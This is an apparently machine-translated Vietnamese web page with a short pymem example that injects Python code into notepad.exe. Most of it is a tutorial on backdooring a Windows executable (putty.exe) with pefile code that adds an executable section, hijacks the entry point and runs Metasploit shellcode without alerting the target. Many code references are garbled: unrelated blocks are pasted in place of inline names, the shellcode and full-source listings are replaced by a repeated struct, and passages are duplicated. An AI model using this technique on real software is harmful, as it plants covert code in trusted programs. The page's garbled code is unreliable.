Hướng dẫn pymem inject python shellcode - pymem tiêm python shellcode

Pymem cho phép bạn tiêm python.dll vào một quy trình đích và sau đó ánh xạ py_run_simple_string với một cuộc gọi đến

class SECTION_HEADER(Structure):
    _fields_ = [
        ("Name",                    BYTE * 8),
        ("VirtualSize",             DWORD),
        ("VirtualAddress",          DWORD),
        ("SizeOfRawData",           DWORD),
        ("PointerToRawData",        DWORD),
        ("PointerToRelocations",    DWORD),
        ("PointerToLinenumbers",    DWORD),
        ("NumberOfRelocations",     WORD),
        ("NumberOfLinenumbers",     WORD),
        ("Characteristics",         DWORD)
    ]
6.

from pymem import Pymem
import os
import subprocess

notepad = subprocess.Popen(['notepad.exe'])

pm = Pymem('notepad.exe')
pm.inject_python_interpreter()
filepath = os.path.join(os.path.abspath('.'), 'pymem_injection.txt')
filepath = filepath.replace("\\", "\\\\")
shellcode = """
f = open("{}", "w+")
f.write("pymem_injection")
f.close()
""".format(filepath)
pm.inject_python_shellcode(shellcode)
notepad.kill()

Vậy mã đó đã làm gì?

  1. Chúng tôi bắt đầu quy trình Notepad và xử lý của nó

  2. Chúng tôi móc pymem với quy trình notepad

  3. Chúng tôi gọi

    class SECTION_HEADER(Structure):
        _fields_ = [
            ("Name",                    BYTE * 8),
            ("VirtualSize",             DWORD),
            ("VirtualAddress",          DWORD),
            ("SizeOfRawData",           DWORD),
            ("PointerToRawData",        DWORD),
            ("PointerToRelocations",    DWORD),
            ("PointerToLinenumbers",    DWORD),
            ("NumberOfRelocations",     WORD),
            ("NumberOfLinenumbers",     WORD),
            ("Characteristics",         DWORD)
        ]
    
    6 sẽ:

  • tự động tìm đúng dll python và tiêm nó

  • Đăng ký py_run_simple_stringpy_run_simple_string

  1. Sau đó, chúng tôi tiêm một số mã Python với

    class SECTION_HEADER(Structure):
        _fields_ = [
            ("Name",                    BYTE * 8),
            ("VirtualSize",             DWORD),
            ("VirtualAddress",          DWORD),
            ("SizeOfRawData",           DWORD),
            ("PointerToRawData",        DWORD),
            ("PointerToRelocations",    DWORD),
            ("PointerToLinenumbers",    DWORD),
            ("NumberOfRelocations",     WORD),
            ("NumberOfLinenumbers",     WORD),
            ("Characteristics",         DWORD)
        ]
    
    8 sẽ:

  • Virtualallocex Một số không gian cho mã được viết some space for the code to be written

  • Viết tải trọng thực tế vào không gian được phân bổ

  • thực thi py_run_simple_string để mã python được giải thích trong quy trình notepadpy_run_simple_string so the python code gets interpreted within the notepad process

  1. Cuối cùng chúng ta thoát khỏi quá trình notepad

13 phút đọc


Nếu bạn thực hiện kiểm tra thâm nhập như công việc hàng ngày của bạn, thường sẽ hữu ích khi đưa cửa hậu vào ứng dụng hợp pháp. Có rất nhiều công cụ ngoài kia có thể thực hiện các loại nhiệm vụ đó, nhưng bạn có biết chúng thực sự hoạt động như thế nào không? Trong bài đăng này, tôi sẽ chỉ cho bạn một phương pháp đơn giản để đưa một cửa hậu vào một thực thi.

Ở đây chúng tôi sẽ sử dụng Python vì nó là một ngôn ngữ thực sự linh hoạt và cũng là một trong những ngôn ngữ được sử dụng nhiều nhất trong điện toán tấn công. Tôi thực sự khuyên bạn nên đọc một trong những bài viết trước của tôi về định dạng thực thi di động để hiểu đầy đủ bài đăng này.

Giới thiệu

Ở đây, mục tiêu là đưa mã nước ngoài vào một thực thi, nhưng chúng tôi vẫn muốn người thực thi ban đầu hoạt động (vì chúng tôi không muốn đưa ra bất kỳ sự nghi ngờ nào từ mục tiêu của chúng tôi). Dưới đây là ý tưởng toàn cầu về cách chúng tôi sẽ sửa đổi ứng dụng để tiêm cửa sau của chúng tôi:

Có 2 phương pháp chính để tiêm mã cho một thực thi:

  • Thêm một phần vào thực thi, nhưng nó sẽ (một chút) tăng kích thước của thực thi.
  • Thêm mã vào phần trống (hoặc hang mã) của thực thi, nó đã giành được kích thước tăng nhưng dễ dàng phá vỡ chương trình tùy thuộc vào phương pháp bạn sử dụng. Ngoài ra, nó có các hồ linh hoạt tùy thuộc vào mục tiêu thực thi (ít hoặc không có hang mã).

Ở đây, chúng tôi sẽ sử dụng phương pháp đầu tiên vì nó dễ dàng và đáng tin cậy hơn, nhưng nếu bạn muốn thử phương pháp thứ hai, bạn có thể kiểm tra liên kết sau.

Lưu ý: Hãy cẩn thận, nếu bạn chạy một chất chống vi -rút trên máy của bạn, việc sửa đổi cấu trúc của một thực thi có thể được hiểu là một cuộc tấn công của virus và AV sẽ chặn hoặc loại bỏ thực thi của bạn. Bây giờ bạn biết. Be careful, if you run an antivirus on your machine, modifying the structure of an executable could be interpreted as a viral attack and the AV will block or remove your executable. Now you know.

Nhắc nhở nhanh chóng

Trước khi thêm một phần mới, chúng ta cần biết các chi tiết cấu trúc để không phá vỡ thực thi của chúng ta. Trong một thực thi PE, phần bao gồm 2 phần:

  • Phần, chứa mã thực thi.section, containing the executable code.
  • Tiêu đề phần, chứa mô tả của phần (địa chỉ, mã, kích thước, v.v.)section header, containing the description of the section (address, code, size, etc.)

Độ dài tiêu đề phần là 40 byte và theo cấu trúc này:

class SECTION_HEADER(Structure):
    _fields_ = [
        ("Name",                    BYTE * 8),
        ("VirtualSize",             DWORD),
        ("VirtualAddress",          DWORD),
        ("SizeOfRawData",           DWORD),
        ("PointerToRawData",        DWORD),
        ("PointerToRelocations",    DWORD),
        ("PointerToLinenumbers",    DWORD),
        ("NumberOfRelocations",     WORD),
        ("NumberOfLinenumbers",     WORD),
        ("Characteristics",         DWORD)
    ]

Mỗi trường giúp Windows tải các phần đúng vào bộ nhớ. Ở đây, chúng tôi chỉ quan tâm bởi các trường sau, các trường khác sẽ được khởi tạo ở mức 0.

  • class SECTION_HEADER(Structure):
        _fields_ = [
            ("Name",                    BYTE * 8),
            ("VirtualSize",             DWORD),
            ("VirtualAddress",          DWORD),
            ("SizeOfRawData",           DWORD),
            ("PointerToRawData",        DWORD),
            ("PointerToRelocations",    DWORD),
            ("PointerToLinenumbers",    DWORD),
            ("NumberOfRelocations",     WORD),
            ("NumberOfLinenumbers",     WORD),
            ("Characteristics",         DWORD)
        ]
    
    9, chứa tên phần có phần đệm null byte nếu kích thước của tên không bằng 8 byte.
  • (((value_to_align + alignment - 1) / alignment) * alignment)
    
    # Shellcode size = 12345 bytes
    # FileAligment = 512 bytes
    # SectionAligment = 4096 bytes
    
    SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
    VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
    
    0, chứa kích thước của phần trong bộ nhớ.
  • (((value_to_align + alignment - 1) / alignment) * alignment)
    
    # Shellcode size = 12345 bytes
    # FileAligment = 512 bytes
    # SectionAligment = 4096 bytes
    
    SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
    VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
    
    1, chứa địa chỉ Virtaul tương đối của phần.
  • (((value_to_align + alignment - 1) / alignment) * alignment)
    
    # Shellcode size = 12345 bytes
    # FileAligment = 512 bytes
    # SectionAligment = 4096 bytes
    
    SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
    VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
    
    2, chứa kích thước của phần trên đĩa.
  • (((value_to_align + alignment - 1) / alignment) * alignment)
    
    # Shellcode size = 12345 bytes
    # FileAligment = 512 bytes
    # SectionAligment = 4096 bytes
    
    SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
    VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
    
    3, chứa phần bù của phần trên đĩa.
  • (((value_to_align + alignment - 1) / alignment) * alignment)
    
    # Shellcode size = 12345 bytes
    # FileAligment = 512 bytes
    # SectionAligment = 4096 bytes
    
    SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
    VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
    
    4, chứa các cờ mô tả các đặc điểm phần (RWX).

Lưu ý: Nó thực sự quan trọng để phân biệt VA (địa chỉ ảo) và RVA (địa chỉ ảo tương đối). Địa chỉ ảo tương đối là địa chỉ ảo của một đối tượng từ tệp sau khi được tải vào bộ nhớ, trừ địa chỉ cơ sở (thường bằng

(((value_to_align + alignment - 1) / alignment) * alignment)

# Shellcode size = 12345 bytes
# FileAligment = 512 bytes
# SectionAligment = 4096 bytes

SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
5) của hình ảnh tệp. It’s really important to differentiate VA (Virtual Address) and RVA (Relative Virtual Address). A relative virtual address is the virtual address of an object from the file once it is loaded into memory, minus the base address (often equal to
(((value_to_align + alignment - 1) / alignment) * alignment)

# Shellcode size = 12345 bytes
# FileAligment = 512 bytes
# SectionAligment = 4096 bytes

SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
5) of the file image.

Cuối cùng, chúng tôi phải chăm sóc sự liên kết. Giá trị SWE sẽ được đặt vào tiêu đề phần phải được căn chỉnh theo giá trị được đặt vào

(((value_to_align + alignment - 1) / alignment) * alignment)

# Shellcode size = 12345 bytes
# FileAligment = 512 bytes
# SectionAligment = 4096 bytes

SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
6 của tệp PE.

  • (((value_to_align + alignment - 1) / alignment) * alignment)
    
    # Shellcode size = 12345 bytes
    # FileAligment = 512 bytes
    # SectionAligment = 4096 bytes
    
    SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
    VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
    
    7, căn chỉnh phần trong bộ nhớ.
  • (((value_to_align + alignment - 1) / alignment) * alignment)
    
    # Shellcode size = 12345 bytes
    # FileAligment = 512 bytes
    # SectionAligment = 4096 bytes
    
    SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
    VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
    
    8, liên kết phần trên đĩa.

Không đủ rõ ràng? Hãy nói rằng

(((value_to_align + alignment - 1) / alignment) * alignment)

# Shellcode size = 12345 bytes
# FileAligment = 512 bytes
# SectionAligment = 4096 bytes

SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
8 bằng 512 byte và
(((value_to_align + alignment - 1) / alignment) * alignment)

# Shellcode size = 12345 bytes
# FileAligment = 512 bytes
# SectionAligment = 4096 bytes

SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
7 bằng 4096 byte. Nếu phần mới của bạn chứa 515 byte trên đĩa, giá trị kích thước phần trên đĩa (
(((value_to_align + alignment - 1) / alignment) * alignment)

# Shellcode size = 12345 bytes
# FileAligment = 512 bytes
# SectionAligment = 4096 bytes

SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
2) sẽ là 1024 vì 515> 512, vì vậy chúng tôi làm tròn nó. Điều tương tự đối với
(((value_to_align + alignment - 1) / alignment) * alignment)

# Shellcode size = 12345 bytes
# FileAligment = 512 bytes
# SectionAligment = 4096 bytes

SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
0, nó sẽ bằng 4096 byte, vì 515 <4096. Đây là cách tìm các giá trị phù hợp với bạn:

(((value_to_align + alignment - 1) / alignment) * alignment)

# Shellcode size = 12345 bytes
# FileAligment = 512 bytes
# SectionAligment = 4096 bytes

SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)

Trong các phần follwing, tôi sẽ mô tả các bước khác nhau mà tôi đã sử dụng để đưa một cửa hậu vào một thực thi. Mã đầy đủ sẽ có sẵn ở cuối hướng dẫn.

Bây giờ, chúng ta có thể bắt đầu. Chúng tôi đã có thể đặt 4 giá trị trong tiêu đề của chúng tôi. Tôi giả sử rằng shellcode của chúng tôi sẽ nhỏ hơn 4096 byte.

name            = ".axc"
virtual_size    = 0x1000 		# 4096 octets
raw_size        = 0x1000		# 4096 octets
characteristics = 0xE0000020 	# READ | WRITE | EXECUTE | CODE

Đối với

(((value_to_align + alignment - 1) / alignment) * alignment)

# Shellcode size = 12345 bytes
# FileAligment = 512 bytes
# SectionAligment = 4096 bytes

SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
1 và
(((value_to_align + alignment - 1) / alignment) * alignment)

# Shellcode size = 12345 bytes
# FileAligment = 512 bytes
# SectionAligment = 4096 bytes

SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
3, chúng tôi phải chắc chắn rằng chúng tôi không thể ghi đè lên các phần khác. Nếu một trong những con trỏ trỏ đến một tiêu đề hiện có, chúng tôi sẽ làm hỏng việc thực thi. Để tránh vấn đề này, chúng tôi sẽ đặt con trỏ của chúng tôi đi theo phần cuối cùng của thực thi.

import pefile

exe_path = "putty.exe"
pe = pefile.PE(exe_path)
number_of_section = pe.FILE_HEADER.NumberOfSections
last_section = number_of_section - 1

virtual_offset = pe.sections[last_section].VirtualAddress + pe.sections[last_section].Misc_VirtualSize
raw_offset = pe.sections[last_section].PointerToRawData + pe.sections[last_section].SizeOfRawData

Bây giờ, phần mới sẽ được đặt ngay sau phần cuối cùng trên đĩa và trong bộ nhớ. Để tuân thủ căn chỉnh, chúng tôi sẽ sửa đổi mã để tính toán các giá trị phù hợp cho kích thước phần.

import pefile

exe_path = "putty.exe"
pe = pefile.PE(exe_path)

number_of_section = pe.FILE_HEADER.NumberOfSections
last_section = number_of_section - 1
file_alignment = pe.OPTIONAL_HEADER.FileAlignment
section_alignment = pe.OPTIONAL_HEADER.SectionAlignment


# Quick function to align our values
def align(val_to_align, alignment):
    return ((val_to_align + alignment - 1) / alignment) * alignment

raw_size = align(0x1000, pe.OPTIONAL_HEADER.FileAlignment)
virtual_size = align(0x1000, pe.OPTIONAL_HEADER.SectionAlignment)
raw_offset = align((pe.sections[last_section].PointerToRawData +
                    pe.sections[last_section].SizeOfRawData),
                   pe.OPTIONAL_HEADER.FileAlignment)

virtual_offset = align((pe.sections[last_section].VirtualAddress +
                        pe.sections[last_section].Misc_VirtualSize),
                       pe.OPTIONAL_HEADER.SectionAlignment)

Lưu ý: Đối với các bài kiểm tra tôi đã sử dụng putty.exe. Putty là triển khai miễn phí SSH và Telnet cho Windows, nhưng bạn có thể sử dụng bất kỳ thực thi nào. For the tests I used putty.exe. PuTTY is a free implementation of SSH and Telnet for Windows, but you can use any executable.

Chúng tôi có giá trị phù hợp cho tiêu đề phần mới, nhưng chúng tôi đã không chèn bất cứ điều gì trong thực thi. Hãy để nhận được địa chỉ tiêu đề phần cuối và thêm 40 byte (kích thước của tiêu đề phần) để lấy địa chỉ để viết phần của chúng tôi.

import pefile

exe_path = "putty.exe"
pe = pefile.PE(exe_path)
number_of_section = pe.FILE_HEADER.NumberOfSections

new_section_offset = (pe.sections[number_of_section - 1].get_file_offset() + 40)

Dễ dàng, phải không? Bây giờ chúng ta có thể viết tiêu đề mới đúng cách, nhưng chúng ta phải chăm sóc 2 điều:

  • Chúng ta phải cẩn thận và không phá vỡ các tiêu đề hiện tại, điều đó có nghĩa là giá trị của chúng ta phải tuân thủ định dạng tiêu đề.
  • Chúng ta phải viết chúng bằng Little-Endian (Pefile sẽ chăm sóc điều đó).

Lưu ý: Trên tấm dựa trên Intel, giá trị là bằng Little-endian. Thông tin thêm ở đây. On Intel-based plateform, the value are in little-endian. More info here.

import pefile

    # CODE | EXECUTE | READ | WRITE
    characteristics = 0xE0000020 
    # Section name must be equal to 8 bytes
    name = ".axc" + (4 * '\x00')

    # Set the name
    pe.set_bytes_at_offset(new_section_offset, name)
    # Set the virtual size
    pe.set_dword_at_offset(new_section_offset + 8, virtual_size)
    # Set the virtual offset
    pe.set_dword_at_offset(new_section_offset + 12, virtual_offset)
    # Set the raw size
    pe.set_dword_at_offset(new_section_offset + 16, raw_size)
    # Set the raw offset
    pe.set_dword_at_offset(new_section_offset + 20, raw_offset)
    # Set the following fields to zero
    pe.set_bytes_at_offset(new_section_offset + 24, (12 * '\x00'))
    # Set the characteristics
    pe.set_dword_at_offset(new_section_offset + 36, characteristics)

Một số chi tiết

Tiêu đề phần mới của chúng tôi đã được thêm vào thực thi, nhưng trình tải có thể nhìn thấy nó. Chúng tôi không thể sửa đổi một số giá trị thành tiêu đề cấu trúc chính của tệp trước:

  • name            = ".axc"
    virtual_size    = 0x1000 		# 4096 octets
    raw_size        = 0x1000		# 4096 octets
    characteristics = 0xE0000020 	# READ | WRITE | EXECUTE | CODE
    
    5, trong
    name            = ".axc"
    virtual_size    = 0x1000 		# 4096 octets
    raw_size        = 0x1000		# 4096 octets
    characteristics = 0xE0000020 	# READ | WRITE | EXECUTE | CODE
    
    6 phải được tăng thêm 1.
  • name            = ".axc"
    virtual_size    = 0x1000 		# 4096 octets
    raw_size        = 0x1000		# 4096 octets
    characteristics = 0xE0000020 	# READ | WRITE | EXECUTE | CODE
    
    7, trong
    (((value_to_align + alignment - 1) / alignment) * alignment)
    
    # Shellcode size = 12345 bytes
    # FileAligment = 512 bytes
    # SectionAligment = 4096 bytes
    
    SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
    VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
    
    6, phải bằng với (VirtualAddress + VirtualSize (kích thước của tiêu đề mới của chúng tôi)).
  • Mở rộng kích thước của thực thi.

Liên quan đến phần cuối cùng này, tôi nhắc bạn rằng chúng tôi đã nói với người thực thi rằng có một phần mới của 4096 byte ở đâu đó, vì vậy chúng tôi phải thêm một số không gian trống để tuân thủ thông tin tiêu đề mà còn để thêm shellcode của chúng tôi. Chúng tôi chỉ tạo tiêu đề phần không phải là chính phần.

import pefile
import mmap
import os


def align(val_to_align, alignment):
    return ((val_to_align + alignment - 1) / alignment) * alignment


def addSection(exe_path):
    # Init variables
    original_size = os.path.getsize(exe_path)
    pe = pefile.PE(exe_path)

    number_of_section = pe.FILE_HEADER.NumberOfSections
    last_section = number_of_section - 1
    file_alignment = pe.OPTIONAL_HEADER.FileAlignment
    section_alignment = pe.OPTIONAL_HEADER.SectionAlignment
    new_section_offset = (pe.sections[number_of_section - 1].get_file_offset() + 40)

    # Look for valid values for the new section header
    raw_size = align(0x1000, file_alignment)
    virtual_size = align(0x1000, section_alignment)
    raw_offset = align((pe.sections[last_section].PointerToRawData +
                        pe.sections[last_section].SizeOfRawData),
                       file_alignment)

    virtual_offset = align((pe.sections[last_section].VirtualAddress +
                            pe.sections[last_section].Misc_VirtualSize),
                           section_alignment)
    
    # CODE | EXECUTE | READ | WRITE
    characteristics = 0xE0000020 
    # Section name must be equal to 8 bytes
    name = ".axc" + (4 * '\x00')

    # Create the section
    # Set the name
    pe.set_bytes_at_offset(new_section_offset, name)
    # Set the virtual size
    pe.set_dword_at_offset(new_section_offset + 8, virtual_size)
    # Set the virtual offset
    pe.set_dword_at_offset(new_section_offset + 12, virtual_offset)
    # Set the raw size
    pe.set_dword_at_offset(new_section_offset + 16, raw_size)
    # Set the raw offset
    pe.set_dword_at_offset(new_section_offset + 20, raw_offset)
    # Set the following fields to zero
    pe.set_bytes_at_offset(new_section_offset + 24, (12 * '\x00'))
    # Set the characteristics
    pe.set_dword_at_offset(new_section_offset + 36, characteristics)

    # Edit the value in the File and Optional headers
    pe.FILE_HEADER.NumberOfSections += 1
    pe.OPTIONAL_HEADER.SizeOfImage = virtual_size + virtual_offset
    pe.write(exe_path)

    # Resize the executable
    # Note: I added some more space to avoid error
    fd = open(exe_path, 'a+b')
    map = mmap.mmap(fd.fileno(), 0, access=mmap.ACCESS_WRITE)
    map.resize(original_size + 0x2000)
    map.close()
    fd.close()

exe_path = "putty.exe"
addSection(exe_path)

Nếu chúng ta kiểm tra kết quả trong một trình gỡ lỗi ngẫu nhiên, chúng ta sẽ thấy phần mới. Tại thời điểm này, Putty nên chạy hoàn hảo khi chúng tôi thêm một tiêu đề phần.

Hướng dẫn pymem inject python shellcode - pymem tiêm python shellcode

Lưu ý: Ở đây tôi đã sử dụng trình gỡ lỗi miễn dịch để có được đầu ra này. Here I used Immunity Debugger to get this output.

Chỉnh sửa điểm nhập cảnh

Chúng tôi tốt cho cấu trúc tiêu đề phần. Bây giờ chúng tôi sẽ chỉnh sửa điểm nhập của người thực thi để thực hiện cửa sau của chúng tôi trước phần còn lại của mã (ứng dụng).

import pefile

exe_path = "putty.exe"
pe = pefile.PE(exe_path)

number_of_section = pe.FILE_HEADER.NumberOfSections
last_section = number_of_section - 1
new_ep = pe.sections[last_section].VirtualAddress
oep = pe.OPTIONAL_HEADER.AddressOfEntryPoint

print "[*] Original EntryPoint = 0x%08x" % oep
print "[*] New EntryPoint = 0x%08x" % new_ep

# Edit the EP to point to the shellcode
pe.OPTIONAL_HEADER.AddressOfEntryPoint = new_ep
# Write to a new executable
pe.write("putty_mod.exe")

Đầu ra

class SECTION_HEADER(Structure):
    _fields_ = [
        ("Name",                    BYTE * 8),
        ("VirtualSize",             DWORD),
        ("VirtualAddress",          DWORD),
        ("SizeOfRawData",           DWORD),
        ("PointerToRawData",        DWORD),
        ("PointerToRelocations",    DWORD),
        ("PointerToLinenumbers",    DWORD),
        ("NumberOfRelocations",     WORD),
        ("NumberOfLinenumbers",     WORD),
        ("Characteristics",         DWORD)
    ]
0

Viết điểm nhập ban đầu ở đâu đó vì chúng tôi sẽ sử dụng nó sau để chuyển hướng luồng thực thi đến ứng dụng ban đầu.

Tiêm mã

Bước cuối cùng là tiêm ShellCode của chúng tôi trong phần mới. Tôi đã tạo một shellcode đơn giản với metasploit, nó sẽ hiển thị một hộp thông báo trước khi bắt đầu ứng dụng.

class SECTION_HEADER(Structure):
    _fields_ = [
        ("Name",                    BYTE * 8),
        ("VirtualSize",             DWORD),
        ("VirtualAddress",          DWORD),
        ("SizeOfRawData",           DWORD),
        ("PointerToRawData",        DWORD),
        ("PointerToRelocations",    DWORD),
        ("PointerToLinenumbers",    DWORD),
        ("NumberOfRelocations",     WORD),
        ("NumberOfLinenumbers",     WORD),
        ("Characteristics",         DWORD)
    ]
1

Trước khi tiêm ShellCode này, chúng ta cần sửa đổi nó để chuyển hướng luồng thực thi đến ứng dụng. As-is, shellcode này sẽ đóng ứng dụng sau khi được chạy. Để chuyển hướng luồng thực thi, chúng tôi phải sửa đổi 6 byte cuối cùng của shellcode và bảo nó tiếp tục thực hiện ứng dụng.

class SECTION_HEADER(Structure):
    _fields_ = [
        ("Name",                    BYTE * 8),
        ("VirtualSize",             DWORD),
        ("VirtualAddress",          DWORD),
        ("SizeOfRawData",           DWORD),
        ("PointerToRawData",        DWORD),
        ("PointerToRelocations",    DWORD),
        ("PointerToLinenumbers",    DWORD),
        ("NumberOfRelocations",     WORD),
        ("NumberOfLinenumbers",     WORD),
        ("Characteristics",         DWORD)
    ]
2

Để không phá vỡ luồng ứng dụng, hãy thay thế các byte cuối cùng của shellcode từ

name            = ".axc"
virtual_size    = 0x1000 		# 4096 octets
raw_size        = 0x1000		# 4096 octets
characteristics = 0xE0000020 	# READ | WRITE | EXECUTE | CODE
9 thành
import pefile

exe_path = "putty.exe"
pe = pefile.PE(exe_path)
number_of_section = pe.FILE_HEADER.NumberOfSections
last_section = number_of_section - 1

virtual_offset = pe.sections[last_section].VirtualAddress + pe.sections[last_section].Misc_VirtualSize
raw_offset = pe.sections[last_section].PointerToRawData + pe.sections[last_section].SizeOfRawData
0.

Bạn nên hỏi tại sao điểm nhập ban đầu của chúng tôi (

import pefile

exe_path = "putty.exe"
pe = pefile.PE(exe_path)
number_of_section = pe.FILE_HEADER.NumberOfSections
last_section = number_of_section - 1

virtual_offset = pe.sections[last_section].VirtualAddress + pe.sections[last_section].Misc_VirtualSize
raw_offset = pe.sections[last_section].PointerToRawData + pe.sections[last_section].SizeOfRawData
1) khác với điểm chúng tôi sử dụng trong shellcode của chúng tôi (
import pefile

exe_path = "putty.exe"
pe = pefile.PE(exe_path)
number_of_section = pe.FILE_HEADER.NumberOfSections
last_section = number_of_section - 1

virtual_offset = pe.sections[last_section].VirtualAddress + pe.sections[last_section].Misc_VirtualSize
raw_offset = pe.sections[last_section].PointerToRawData + pe.sections[last_section].SizeOfRawData
2). Điều đó bởi vì một khi được tải trong bộ nhớ, bộ tải thêm cơ sở hình ảnh (
(((value_to_align + alignment - 1) / alignment) * alignment)

# Shellcode size = 12345 bytes
# FileAligment = 512 bytes
# SectionAligment = 4096 bytes

SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
5), chứa trong
(((value_to_align + alignment - 1) / alignment) * alignment)

# Shellcode size = 12345 bytes
# FileAligment = 512 bytes
# SectionAligment = 4096 bytes

SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
6 vào điểm nhập. Nếu chúng tôi không thêm cơ sở hình ảnh, chúng tôi sẽ chuyển hướng luồng thực thi đến một địa chỉ không chính xác và phá vỡ ứng dụng.

Đây là kết quả sau khi sửa đổi ShellCode:

class SECTION_HEADER(Structure):
    _fields_ = [
        ("Name",                    BYTE * 8),
        ("VirtualSize",             DWORD),
        ("VirtualAddress",          DWORD),
        ("SizeOfRawData",           DWORD),
        ("PointerToRawData",        DWORD),
        ("PointerToRelocations",    DWORD),
        ("PointerToLinenumbers",    DWORD),
        ("NumberOfRelocations",     WORD),
        ("NumberOfLinenumbers",     WORD),
        ("Characteristics",         DWORD)
    ]
3

Thực thi backdoor này sẽ hiển thị một hộp thông báo và trả lại điều khiển cho ứng dụng chính.

Hướng dẫn pymem inject python shellcode - pymem tiêm python shellcode

Mã nguồn

Dưới đây là mã nguồn của tập lệnh với một số ý kiến.

class SECTION_HEADER(Structure):
    _fields_ = [
        ("Name",                    BYTE * 8),
        ("VirtualSize",             DWORD),
        ("VirtualAddress",          DWORD),
        ("SizeOfRawData",           DWORD),
        ("PointerToRawData",        DWORD),
        ("PointerToRelocations",    DWORD),
        ("PointerToLinenumbers",    DWORD),
        ("NumberOfRelocations",     WORD),
        ("NumberOfLinenumbers",     WORD),
        ("Characteristics",         DWORD)
    ]
4

Đầu ra

class SECTION_HEADER(Structure):
    _fields_ = [
        ("Name",                    BYTE * 8),
        ("VirtualSize",             DWORD),
        ("VirtualAddress",          DWORD),
        ("SizeOfRawData",           DWORD),
        ("PointerToRawData",        DWORD),
        ("PointerToRelocations",    DWORD),
        ("PointerToLinenumbers",    DWORD),
        ("NumberOfRelocations",     WORD),
        ("NumberOfLinenumbers",     WORD),
        ("Characteristics",         DWORD)
    ]
5

Viết điểm nhập ban đầu ở đâu đó vì chúng tôi sẽ sử dụng nó sau để chuyển hướng luồng thực thi đến ứng dụng ban đầu.

Tiêm mã

Bước cuối cùng là tiêm ShellCode của chúng tôi trong phần mới. Tôi đã tạo một shellcode đơn giản với metasploit, nó sẽ hiển thị một hộp thông báo trước khi bắt đầu ứng dụng.

  • Trước khi tiêm ShellCode này, chúng ta cần sửa đổi nó để chuyển hướng luồng thực thi đến ứng dụng. As-is, shellcode này sẽ đóng ứng dụng sau khi được chạy. Để chuyển hướng luồng thực thi, chúng tôi phải sửa đổi 6 byte cuối cùng của shellcode và bảo nó tiếp tục thực hiện ứng dụng.
  • Để không phá vỡ luồng ứng dụng, hãy thay thế các byte cuối cùng của shellcode từ
    name            = ".axc"
    virtual_size    = 0x1000 		# 4096 octets
    raw_size        = 0x1000		# 4096 octets
    characteristics = 0xE0000020 	# READ | WRITE | EXECUTE | CODE
    
    9 thành
    import pefile
    
    exe_path = "putty.exe"
    pe = pefile.PE(exe_path)
    number_of_section = pe.FILE_HEADER.NumberOfSections
    last_section = number_of_section - 1
    
    virtual_offset = pe.sections[last_section].VirtualAddress + pe.sections[last_section].Misc_VirtualSize
    raw_offset = pe.sections[last_section].PointerToRawData + pe.sections[last_section].SizeOfRawData
    
    0.
  • Bạn nên hỏi tại sao điểm nhập ban đầu của chúng tôi (
    import pefile
    
    exe_path = "putty.exe"
    pe = pefile.PE(exe_path)
    number_of_section = pe.FILE_HEADER.NumberOfSections
    last_section = number_of_section - 1
    
    virtual_offset = pe.sections[last_section].VirtualAddress + pe.sections[last_section].Misc_VirtualSize
    raw_offset = pe.sections[last_section].PointerToRawData + pe.sections[last_section].SizeOfRawData
    
    1) khác với điểm chúng tôi sử dụng trong shellcode của chúng tôi (
    import pefile
    
    exe_path = "putty.exe"
    pe = pefile.PE(exe_path)
    number_of_section = pe.FILE_HEADER.NumberOfSections
    last_section = number_of_section - 1
    
    virtual_offset = pe.sections[last_section].VirtualAddress + pe.sections[last_section].Misc_VirtualSize
    raw_offset = pe.sections[last_section].PointerToRawData + pe.sections[last_section].SizeOfRawData
    
    2). Điều đó bởi vì một khi được tải trong bộ nhớ, bộ tải thêm cơ sở hình ảnh (
    (((value_to_align + alignment - 1) / alignment) * alignment)
    
    # Shellcode size = 12345 bytes
    # FileAligment = 512 bytes
    # SectionAligment = 4096 bytes
    
    SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
    VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
    
    5), chứa trong
    (((value_to_align + alignment - 1) / alignment) * alignment)
    
    # Shellcode size = 12345 bytes
    # FileAligment = 512 bytes
    # SectionAligment = 4096 bytes
    
    SizeOfRawData = (((12345 + 512 - 1) / 512) * 512)
    VirtualSize = (((12345 + 4096 - 1) / 4096) * 4096)
    
